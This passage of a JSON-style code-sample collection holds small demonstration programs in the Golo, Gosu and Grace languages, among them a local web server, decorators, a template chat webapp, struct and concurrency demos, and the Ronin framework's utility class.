    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule samples.WebServer\n\nimport java.lang\nimport java.net.InetSocketAddress\nimport com.sun.net.httpserver\nimport com.sun.net.httpserver.HttpServer\n\nfunction main = |args| {\n\n  let server = HttpServer.create(InetSocketAddress(\"localhost\", 8081), 0)\n  \n  server: createContext(\"/\", |exchange| {\n    let headers = exchange: getResponseHeaders()\n    let response = StringBuilder():\n      append(\"Requested URI: \"):\n      append(exchange: getRequestURI()):\n      append(\"\\n\"):\n      append(\"Current time: \"):\n      append(java.util.Date()):\n      append(\"\\n\"):\n      toString()\n    headers: set(\"Content-Type\", \"text/plain\")\n    exchange: sendResponseHeaders(200, response: length())\n    exchange: getResponseBody(): write(response: getBytes())\n    exchange: close()\n  })\n\n  server: createContext(\"/shutdown\", |exchange| {\n    let response = \"Ok, thanks, bye!\"\n    exchange: getResponseHeaders(): set(\"Content-Type\", \"text/plain\")\n    exchange: sendResponseHeaders(200, response: length())\n    exchange: getResponseBody(): write(response: getBytes())\n    exchange: close()\n    server: stop(5)\n  })\n\n  server: start()\n  println(\">>> http://localhost:8081/\")\n}\n"
  },
  {
    "path": "samples/Golo/logdeco.golo",
    "content": "\nmodule samples.LogDeco\n\nfunction log1 = |msg| {\n    return |fun| {\n        return |args...| {\n            println(msg)\n            return fun: invokeWithArguments(args)\n        }\n    }\n}\n\n@log1(\"calling foo\")\nfunction foo = |a| {\n    println(\"foo got a \" + a)\n}\n\n@log1(\"I'am a bar\")\nfunction bar = |a| -> 2*a\n\nlet sayHello = log1(\"Hello\")\n\n@sayHello\nfunction baz = -> \"Goodbye\"\n\nfunction log2 = |msgBefore| -> |msgAfter| -> |func| -> |args...| {\n    println(msgBefore)\n    let res = func: invokeWithArguments(args)\n    println(msgAfter)\n    return res\n}\n\n@log2(\"enter foo\")(\"exit foo\")\nfunction spam = |a| {\n    println(\"foo: \" + a)\n}\n\nfunction logEnterExit = |name| -> log2(\"# enter \" + name)(\"# exit \" + name)\n\n@logEnterExit(\"bar\")\nfunction egg = { println(\"doing something...\") }\n\nfunction main = |args| {\n\n    foo(\"bar\")\n    \n    println(\"---\")\n    println(bar(21))\n    \n    println(\"---\")\n    println(baz())\n\n    println(\"---\")\n    spam(\"bar\")\n\n    println(\"---\")\n    egg()\n\n    println(\"---\")\n    let strange_use = log2(\"hello\")(\"goodbye\")({println(\":p\")})\n    strange_use()\n\n    println(\"---\")\n    log2(\"another\")(\"use\")(|a|{println(a)})(\"strange\")\n}\n"
  },
  {
    "path": "samples/Golo/matching-operator.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule Matching\n\nimport java.util.LinkedList\n\nlocal function data = {\n  let list = LinkedList()\n  list: add(\"foo@bar.com\")\n  list: add(\"+33.6.11.22.33\")\n  list: add(\"http://golo-lang.org/\")\n  list: add(\"def foo = bar(_._) with :> T\")\n  return list\n}\n\nlocal function what_it_could_be = |item| -> match {\n  when item: contains(\"@\") then \"an email?\"\n  when item: startsWith(\"+33\") then \"a French phone number?\"\n  when item: startsWith(\"http://\") then \"a website URL?\"\n  otherwise \"I have no clue, mate!\"\n}\n\nfunction main = |args| {\n  foreach item in data() {\n    println(item + \" => \" + what_it_could_be(item))\n  }\n}\n\n"
  },
  {
    "path": "samples/Golo/max-int.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule samples.MaxInt\n\nlocal function max_int = {\n  return java.lang.Integer.MAX_VALUE()\n}\n\nfunction main = |args| {\n  println(max_int())\n}\n\n"
  },
  {
    "path": "samples/Golo/memoize.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule samples.MemoizeDecorator\n\nimport gololang.Decorators\n\nimport java.lang.System\n\nlet memo = memoizer()\n\n@memo\nfunction fib = |n| {\n  if n <= 1 {\n    return n\n  } else {\n    return fib(n - 1) + fib(n - 2)\n  }\n}\n\n@memo\nfunction foo = |n| -> n\n\nlocal function run = {\n  let start = System.currentTimeMillis()\n  let result = fib(40)\n  let duration = System.currentTimeMillis() - start\n  println(\">>> fib(40) = \" + result + \" (took \" + duration + \"ms)\")\n}\n\nlocal function run2 = {\n  let start = System.currentTimeMillis()\n  let result = foo(40)\n  let duration = System.currentTimeMillis() - start\n  println(\">>> foo(40) = \" + result + \" (took \" + duration + \"ms)\")\n}\n\nfunction main = |args| {\n  foreach i in range(0, 5) {\n    println(\"run \" + i)\n    run()\n    run2()\n  }\n}\n"
  },
  {
    "path": "samples/Golo/null-safety.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule DealingWithNull\n\nimport java.util\n\nfunction main = |args| {\n\n  # Data model\n  let contacts = map[\n    [\"mrbean\", map[\n      [\"email\", \"bean@gmail.com\"],\n      [\"url\", \"http://mrbean.com\"]\n    ]],\n    [\"larry\", map[\n      [\"email\", \"larry@iamricherthanyou.com\"]\n    ]]\n  ]\n\n  # MrBean and Larry\n  let mrbean = contacts: get(\"mrbean\")\n  let larry = contacts: get(\"larry\")\n  \n  # Illustrates orIfNull\n  println(mrbean: get(\"url\") orIfNull \"n/a\")\n  println(larry: get(\"url\") orIfNull \"n/a\")\n\n  # Querying a non-existent data model because there is no 'address' entry\n  println(mrbean: get(\"address\")?: street()?: number() orIfNull \"n/a\")\n}\n\n"
  },
  {
    "path": "samples/Golo/prepost-decorators.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule samples.PrepostDecorator\n\nimport gololang.Decorators\n\nlet isInteger = isOfType(Integer.class)\n\n@checkResult(isString(): andThen(lengthIs(2)))\n@checkArguments(isInteger: andThen(isPositive()), isString())\nfunction foo = |a, b| {\n    return b + a\n}\n\nlet myCheck = checkArguments(isInteger: andThen(isPositive()))\n\n@myCheck\nfunction inv = |v| -> 1.0 / v\n\nlet isPositiveInt = isInteger: andThen(isPositive())\n\n@checkArguments(isPositiveInt)\nfunction mul = |v| -> 10 * v\n\n@checkArguments(isNumber())\nfunction num = |v| -> \"ok\"\n\n@checkArguments(isNotNull())\nfunction notnull = |v| -> \"ok\"\n\nfunction main = |args| {\n    try { println(foo(1, \"b\")) } catch (e) { println(e) }\n    try { println(foo(-1, \"b\")) } catch (e) { println(e) }\n    try { println(foo(\"a\", 2)) } catch (e) { println(e) }\n    try { println(foo(1, 2)) } catch (e) { println(e) }\n    try { println(foo(10, \"ab\")) } catch (e) { println(e) }\n\n    try { println(inv(10)) } catch (e) { println(e) }\n    try { println(inv(0)) } catch (e) { println(e) }\n\n    try { println(mul(5)) } catch (e) { println(e) }\n    try { println(mul(0)) } catch (e) { println(e) }\n\n    try { println(num(1)) } catch (e) { println(e) }\n    try { println(num(1_L)) } catch (e) { println(e) }\n    try { println(num(1.5)) } catch (e) { println(e) }\n    try { println(num(1.5_F)) } catch (e) { println(e) }\n    try { println(num(\"a\")) } catch (e) { println(e) }\n    try { println(num('a')) } catch (e) { println(e) }\n\n    try { println(notnull('1')) } catch (e) { println(e) }\n    try { println(notnull(null)) } catch (e) { println(e) }\n}\n"
  },
  {
    "path": "samples/Golo/structs.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule StructDemo\n\nstruct Point = { x, y }\n\naugment StructDemo.types.Point {\n\n  function move = |this, offsetX, offsetY| {\n    this: x(this: x() + offsetX)\n    this: y(this: y() + offsetY)\n    return this\n  }\n\n  function relative = |this, offsetX, offsetY| -> Point(this: x() + offsetX, this: y() + offsetY)\n}\n\nfunction main = |args| {\n  \n  let p1 = Point(1, 2)\n  let p2 = Point(): x(1): y(2)\n  let p3 = p1: frozenCopy()\n  let p4 = p1: frozenCopy()\n\n  println(p1)\n  println(\"x = \" + p1: x())\n  println(\"y = \" + p1: y())\n\n  println(\"p1 == p2 \" + (p1 == p2))\n  println(\"p1 == p3 \" + (p1 == p3))\n  println(\"p3 == p4 \" + (p3 == p4))\n\n  println(\"#p1 \" + p1: hashCode())\n  println(\"#p2 \" + p2: hashCode())\n  println(\"#p3 \" + p3: hashCode())\n  println(\"#p4 \" + p4: hashCode())\n\n  println(\"p1: members() \" + p1: members())\n  println(\"p1: values() \" + p1: values())\n  foreach item in p1 {\n    println(item: get(0) + \" -> \" + item: get(1))\n  }\n\n  println(\"p1: set(\\\"x\\\", 10) \" + p1: set(\"x\", 10))\n  println(\"p1: move(10, 5) \" + p1: move(10, 5))\n  println(\"p1: relative(11, 6) \" + p1: relative(11, 6))\n\n  let p5 = ImmutablePoint(10, 20)\n  println(\"p5: \" + p5)\n  try {\n    p5: x(100)\n  } catch (expected) {\n    println(\"p5 is immutable, so... \" + expected: getMessage())\n  }\n}\n\n\n"
  },
  {
    "path": "samples/Golo/swing-actionlistener.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule samples.SwingActionListener\n\nimport java.awt.event\nimport javax.swing\nimport javax.swing.WindowConstants\n\nlocal function listener = |handler| -> asInterfaceInstance(ActionListener.class, handler)\n\nfunction main = |args| {\n\n  let frame = JFrame(\"Action listeners\")\n  frame: setDefaultCloseOperation(EXIT_ON_CLOSE())\n\n  let button = JButton(\"Click me!\")\n  button: setFont(button: getFont(): deriveFont(96.0_F))\n\n  # Using a helper function\n  button: addActionListener(listener(|event| -> println(\"Clicked!\")))\n\n  # Using a standard augmentation: MethodHandle::to(Class)\n  button: addActionListener((|event| -> println(\"[click]\")): to(ActionListener.class))\n\n  # Straight closure passing\n  button: addActionListener(|event| -> println(\"( )\"))\n\n  frame: getContentPane(): add(button)\n  frame: pack()\n  frame: setVisible(true)\n}\n"
  },
  {
    "path": "samples/Golo/swing-helloworld.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule samples.SwingHelloWorld\n\nimport javax.swing\nimport javax.swing.WindowConstants\n\nfunction main = |args| {\n\n  let frame = JFrame(\"Hello world\")\n  frame: setDefaultCloseOperation(EXIT_ON_CLOSE())\n\n  let label = JLabel(\"Hello world\")\n  label: setFont(label: getFont(): deriveFont(128.0_F))\n\n  frame: getContentPane(): add(label)\n  frame: pack()\n  frame: setVisible(true)\n}\n"
  },
  {
    "path": "samples/Golo/templates-chat-webapp.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule samples.TemplatesChatWebapp\n\nimport java.lang\nimport java.io\nimport java.net.InetSocketAddress\nimport com.sun.net.httpserver\nimport com.sun.net.httpserver.HttpServer\n\nlocal function redirect = |exchange, to| {\n  exchange: getResponseHeaders(): set(\"Location\", to)\n  exchange: sendResponseHeaders(303, 0)\n  exchange: close()\n}\n\nlocal function respond = |exchange, body| {\n  exchange: getResponseHeaders(): set(\"Content-Type\", \"text/html\")\n  exchange: sendResponseHeaders(200, body: length())\n  exchange: getResponseBody(): write(body: getBytes())\n  exchange: close()\n}\n\n# This is leaky and works with just 1 POST parameter...\nlocal function extract_post = |exchange, posts| {\n  let reader = BufferedReader(InputStreamReader(exchange: getRequestBody()))\n  var line = reader: readLine()\n  while line isnt null {\n    if line: startsWith(\"msg=\") {\n      posts: add(java.net.URLDecoder.decode(line: substring(4), \"UTF-8\"))\n    }\n    line = reader: readLine()\n  }\n  reader: close()\n}\n\n\nlocal function index = |posts, template, exchange| {\n  if exchange: getRequestMethod() == \"POST\" {\n    extract_post(exchange, posts)\n    redirect(exchange, \"/\")\n  } else {\n    respond(exchange, template(posts))\n  }\n}\n\nlocal function index_template = -> \"\"\"\n<%@params posts %>\n<!DOCTYPE html>\n<html>\n  <head>\n    <title>Golo Chat</title>\n  </head>\n  <body>\n  <form action=\"/\" method=\"post\">\n    <input type=\"text\" name=\"msg\">\n    <input type=\"submit\" value=\"Send\">\n  </form>\n  <div>\n    <h3>Last posts</h3>\n    <% foreach post in posts { %>\n      <div>\n        <%= post %>\n      </div>\n    <% } %>\n  </div>\n  </body>\n</html>\n\"\"\"\n\nfunction main = |args| {\n  let index_tpl = gololang.TemplateEngine(): compile(index_template())\n  let posts = java.util.concurrent.ConcurrentLinkedDeque()\n  let server = HttpServer.create(InetSocketAddress(\"localhost\", 8081), 0)\n  server: createContext(\"/\", ^index: bindTo(posts): bindTo(index_tpl))\n  server: start()\n  println(\">>> http://localhost:8081/\")\n}\n"
  },
  {
    "path": "samples/Golo/util-containers.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule MoreCoolContainers\n\nfunction main = |args| {\n  \n  println(\">>> DynamicVariable\")\n\n  let dyn = DynamicVariable(\"Foo\")\n  println(dyn: value())\n  \n  let t1 = Thread({\n  dyn: withValue(666, {\n      println(dyn: value())\n    })\n  })\n  \n  let t2 = Thread({\n    dyn: withValue(69, {\n      println(dyn: value())\n    })\n  })\n\n  t1: start()\n  t2: start()\n  t1: join()\n  t2: join()\n  println(dyn: value())\n\n  println(\">>> Observable\")\n\n  let foo = Observable(\"Foo\")\n  foo: onChange(|v| -> println(\"foo = \" + v))\n\n  let mapped = foo: map(|v| -> v + \"!\")\n  mapped: onChange(|v| -> println(\"mapped = \" + v))\n  \n  foo: set(\"69\")\n}\n"
  },
  {
    "path": "samples/Golo/workers.golo",
    "content": "# Copyright 2012-2014 Institut National des Sciences Appliquées de Lyon (INSA-Lyon)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nmodule Workers\n\nimport java.lang.Thread\nimport java.util.concurrent\nimport gololang.concurrent.workers.WorkerEnvironment\n\nlocal function pusher = |queue, message| -> queue: offer(message)\n\nlocal function generator = |port, message| {\n  foreach i in range(0, 100) {\n    port: send(message)\n  }\n}\n\nfunction main = |args| {\n\n  let env = WorkerEnvironment.builder(): withFixedThreadPool()\n  let queue = ConcurrentLinkedQueue()\n\n  let pusherPort = env: spawn(^pusher: bindTo(queue))\n  let generatorPort = env: spawn(^generator: bindTo(pusherPort))\n\n  let finishPort = env: spawn(|any| -> env: shutdown())\n\n  foreach i in range(0, 10) {\n    generatorPort: send(\"[\" + i + \"]\")\n  }\n  Thread.sleep(2000_L)\n  finishPort: send(\"Die!\")\n\n  env: awaitTermination(2000)\n  println(queue: reduce(\"\", |acc, next| -> acc + \" \" + next))\n}\n\n"
  },
  {
    "path": "samples/Gosu/Hello.gst",
    "content": "<%!-- defined in Hello.gst --%>\n\n<%@ params( users : Collection <User> ) %>\n\n<%  for( user in users ) { %>\n\n${user.LastName}, ${user.FirstName}, ${user.Department}  <%  } %>"
  },
  {
    "path": "samples/Gosu/Hello.gsx",
    "content": "package example\n\nenhancement Hello : String {\n\n  function toPerson() : Person {\n     var vals = this.split(\",\")\n     return new Person( vals[0], vals[1] as int, Relationship.valueOf( vals[2] ) ) )\n  }\n}"
  },
  {
    "path": "samples/Gosu/Person.gs",
    "content": "package example\n\nuses java.util.*\n\nuses java.io.File\n\nclass Person extends Contact implements IEmailable {\n\n  var _name : String\n  var _age : Integer as Age \n  var _relationship : Relationship as readonly RelationshipOfPerson\n\n  delegate _emailHelper represents IEmailable\n\n  enum Relationship {\n    FRIEND,\n    FAMILY,\n    BUSINESS_CONTACT\n  }\n\n  // Map of names to people\n  static var ALL_PEOPLE = new HashMap<String, Person>()\n\n  /* Constructs a new Person */\n  construct( name : String, age : Integer, relationship : Relationship ) {\n    _name = name\n    _age = age\n    _relationship = relationship\n    _emailHelper = new EmailHelper( this )\n  }\n\n  property get Name():String{\n    return _name\n  }\n\n  property set Name(name : String){\n    _name = name\n  }\n\n  /* Implement IEmailable#getEmailName() */\n  override function getEmailName():String{\n    return Name\n  }\n\n  function incrementAge() {\n    _age++\n  }\n\n  @Deprecated\n  function printPersonInfo() {\n    print( \"Person { Name : ${Name}, Age : ${Age}, Relationship : ${RelationshipOfPerson} }\" )\n  }\n\n  static function addPerson(p : Person){\n    if(ALL_PEOPLE.containsKey(p?.Name)) {\n      throw new IllegalArgumentException( \"There is already someone named '${p.Name}'.\" )\n    }\n    ALL_PEOPLE[p.Name] = p\n  }\n\n  static function addAllPeople( contacts : List<Contact> ) {\n    for( contact in contacts ) {\n      if( contact typeis Person and not ALL_PEOPLE.containsKey( contact.Name )) {\n        addPerson( contact )\n      }\n    }\n  }\n\n  static function getAllPeopleOlderThanNOrderedByName( age : int ) {\n    var allPeople = ALL_PEOPLE.Values\n\n    return allPeople.where( \\ p -> p.Age > age ).orderBy( \\ p -> p.Name )\n  }\n\n  static function loadPersonFromDB( id : Integer ) {\n    using( var conn = DBConnectionManager.getConnection(),\n      var stmt = conn.prepareStatement( \"SELECT name, age, relationship FROM PEOPLE WHERE ID=?\") ){\n\n      stmt.setInt( 0, 0 )\n      var result = stmt.executeQuery()\n      if( result.next() ) {\n         addPerson( new Person( result.getString( \"name\" ),\n                    result.getInt( \"age\" ),\n                    Relationship.valueOf( result.getString( \"relationship\" ) ) ) )\n\n      }\n    }\n  }\n\n  /* Loads in people from a CSV */\n  static function loadFromFile( file : File ) {\n    file.eachLine( \\ line -> {\n      if( line.HasContent ) {\n        addPerson( line.toPerson() )\n      }\n    })\n  }\n\n  /* Save people to a CSV */\n  static function saveToFile( file : File ) {\n    using( var writer = new FileWriter( file ) ) {\n      print( PersonCSVTemplate.renderToString( ALL_PEOPLE.Values ) )\n      PersonCSVTemplate.render( writer, ALL_PEOPLE.Values )\n    }\n  }\n}"
  },
  {
    "path": "samples/Gosu/Ronin.gs",
    "content": "/**\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.\n */\n\npackage ronin\n\nuses gw.util.concurrent.LockingLazyVar\nuses gw.lang.reflect.*\nuses java.lang.*\nuses java.io.*\nuses ronin.config.*\nuses org.slf4j.*\n\n/**\n *  The central location for Ronin utility methods.  Controllers and templates should generally access the\n *  methods and properties they inherit from {@link ronin.IRoninUtils} instead of using the methods and\n *  properties here.\n */\nclass Ronin {\n\n  // One static field to rule the all...\n  static var _CONFIG : IRoninConfig as Config\n\n  // And one thread local to bind them\n  static var _CURRENT_REQUEST = new ThreadLocal<RoninRequest>();\n\n  // That's inconstructable\n  private construct() {}\n\n  internal static function init(servlet : RoninServlet, m : ApplicationMode, src : File) {\n    if(_CONFIG != null) {\n      throw \"Cannot initialize a Ronin application multiple times!\"\n    }\n    var cfg = TypeSystem.getByFullNameIfValid(\"config.RoninConfig\")\n    var defaultWarning = false\n    if(cfg != null) {\n      var ctor = cfg.TypeInfo.getConstructor({ronin.config.ApplicationMode, ronin.RoninServlet})\n      if(ctor == null) {\n        throw \"config.RoninConfig must have a constructor with the same signature as ronin.config.RoninConfig\"\n      }\n      _CONFIG = ctor.Constructor.newInstance({m, servlet}) as IRoninConfig\n    } else {\n      _CONFIG = new DefaultRoninConfig(m, servlet)\n      defaultWarning = true\n    }\n    var roninLogger = TypeSystem.getByFullNameIfValid(\"ronin.RoninLoggerFactory\")\n    if(roninLogger != null) {\n      roninLogger.TypeInfo.getMethod(\"init\", {ronin.config.LogLevel}).CallHandler.handleCall(null, {LogLevel})\n    }\n    if(defaultWarning) {\n      log(\"No configuration was found at config.RoninConfig, using the default configuration...\", :level=WARN)\n    }\n    Quartz.maybeStart()\n    ReloadManager.setSourceRoot(src)\n  }\n\n  internal static property set CurrentRequest(req : RoninRequest) {\n    _CURRENT_REQUEST.set(req)\n  }\n\n  //============================================\n  // Public API\n  //============================================\n\n  /**\n   *  The trace handler for the current request.\n   */\n  static property get CurrentTrace() : Trace {\n    return CurrentRequest?.Trace\n  }\n\n  /**\n   *  Ronin's representation of the current request.\n   */\n  static property get CurrentRequest() : RoninRequest {\n    return _CURRENT_REQUEST.get()\n  }\n\n  /**\n   *  The mode in which this application is running.\n   */\n  static property get Mode() : ApplicationMode {\n    return _CONFIG?.Mode ?: TESTING\n  }\n\n  /**\n   *  The log level at and above which log messages should be displayed.\n   */\n  static property get LogLevel() : LogLevel {\n    return _CONFIG?.LogLevel ?: DEBUG\n  }\n\n  /**\n   *  Whether or not to display detailed trace information on each request.\n   */\n  static property get TraceEnabled() : boolean {\n    return _CONFIG != null ? _CONFIG.TraceEnabled : true\n  }\n\n  /**\n   *  The default controller method to call when no method name is present in the request URL.\n   */\n  static property get DefaultAction() : String {\n    return _CONFIG?.DefaultAction\n  }\n\n  /**\n   *  The default controller to call when no controller name is present in the request URL.\n   */\n  static property get DefaultController() : Type {\n    return _CONFIG?.DefaultController\n  }\n\n  /**\n   *  The servlet responsible for handling Ronin requests.\n   */\n  static property get RoninServlet() : RoninServlet {\n    return _CONFIG?.RoninServlet\n  }\n\n  /**\n   *  The handler for request processing errors.\n   */\n  static property get ErrorHandler() : IErrorHandler {\n    return _CONFIG?.ErrorHandler\n  }\n\n  /**\n   *  The custom handler for logging messages.\n   */\n  static property get LogHandler() : ILogHandler {\n    return _CONFIG?.LogHandler\n  }\n\n  /**\n   *  Logs a message using the configured log handler.\n   *  @param msg The text of the message to log, or a block which returns said text.\n   *  @param level (Optional) The level at which to log the message.\n   *  @param component (Optional) The logical component from whence the message originated.\n   *  @param exception (Optional) An exception to associate with the message.\n   */\n  static function log(msg : Object, level : LogLevel = null, component : String = null, exception : java.lang.Throwable = null) {\n    if(level == null) {\n      level = INFO\n    }\n    if(LogLevel <= level) {\n      var msgStr : String\n      if(msg typeis block():String) {\n        msgStr = (msg as block():String)()\n      } else {\n        msgStr = msg as String\n      }\n      if(_CONFIG?.LogHandler != null) {\n        _CONFIG.LogHandler.log(msgStr, level, component, exception)\n      } else {\n        switch(level) {\n          case TRACE:\n            LoggerFactory.getLogger(component?:Logger.ROOT_LOGGER_NAME).trace(msgStr, exception)\n            break\n          case DEBUG:\n            LoggerFactory.getLogger(component?:Logger.ROOT_LOGGER_NAME).debug(msgStr, exception)\n            break\n          case INFO:\n            LoggerFactory.getLogger(component?:Logger.ROOT_LOGGER_NAME).info(msgStr, exception)\n            break\n          case WARN:\n            LoggerFactory.getLogger(component?:Logger.ROOT_LOGGER_NAME).warn(msgStr, exception)\n            break\n          case ERROR:\n          case FATAL:\n            LoggerFactory.getLogger(component?:Logger.ROOT_LOGGER_NAME).error(msgStr, exception)\n            break\n        }\n      }\n    }\n  }\n\n  /**\n   *  The caches known to Ronin.\n   */\n  static enum CacheStore {\n    REQUEST,\n    SESSION,\n    APPLICATION\n  }\n\n  /**\n   *  Retrieves a value from a cache, or computes and stores it if it is not in the cache.\n   *  @param value A block which will compute the desired value.\n   *  @param name (Optional) A unique identifier for the value.  Default is null, which means one will be\n   *  generated from the type of the value.\n   *  @param store (Optional) The cache store used to retrieve or store the value.  Default is the request cache.\n   *  @return The retrieved or computed value.\n   */\n  static function cache<T>(value : block():T, name : String = null, store : CacheStore = null) : T {\n    if(store == null or store == REQUEST) {\n      return _CONFIG.RequestCache.getValue(value, name)\n    } else if (store == SESSION) {\n      return _CONFIG.SessionCache.getValue(value, name)\n    } else if (store == APPLICATION) {\n      return _CONFIG.ApplicationCache.getValue(value, name)\n    } else {\n      throw \"Don't know about CacheStore ${store}\"\n    }\n  }\n\n  /**\n   *  Invalidates a cached value in a cache.\n   *  @param name The unique identifier for the value.\n   *  @param store The cache store in which to invalidate the value.\n   */\n  static function invalidate<T>(name : String, store : CacheStore) {\n    if(store == null or store == REQUEST) {\n      _CONFIG.RequestCache.invalidate(name)\n    } else if (store == SESSION) {\n      _CONFIG.SessionCache.invalidate(name)\n    } else if (store == APPLICATION) {\n      _CONFIG.ApplicationCache.invalidate(name)\n    } else {\n      throw \"Don't know about CacheStore ${store}\"\n    }\n  }\n\n\n  /**\n   *  Detects changes made to resources in the Ronin application and\n   *  reloads them.  This function should only be called when Ronin is\n   *  in development mode.\n   */\n  static function loadChanges() {\n    ReloadManager.detectAndReloadChangedResources() \n  }\n\n}\n"
  },
  {
    "path": "samples/Gosu/hello.vark",
    "content": "function hello() {\n  print(\"hello\")\n}"
  },
  {
    "path": "samples/Grace/ackerman_function.grace",
    "content": "method ack (m : Number, n : Number) -> Number {\n  print \"ack {m} {n}\"\n  if (m < = 0) then {n + 1}\n   elseif {n <= 0} then {ack((m -1), 1)}\n   else {ack(m -1, ack(m, n-1))}\n}"
  },
  {
    "path": "samples/Grace/grace_IDE.grace",
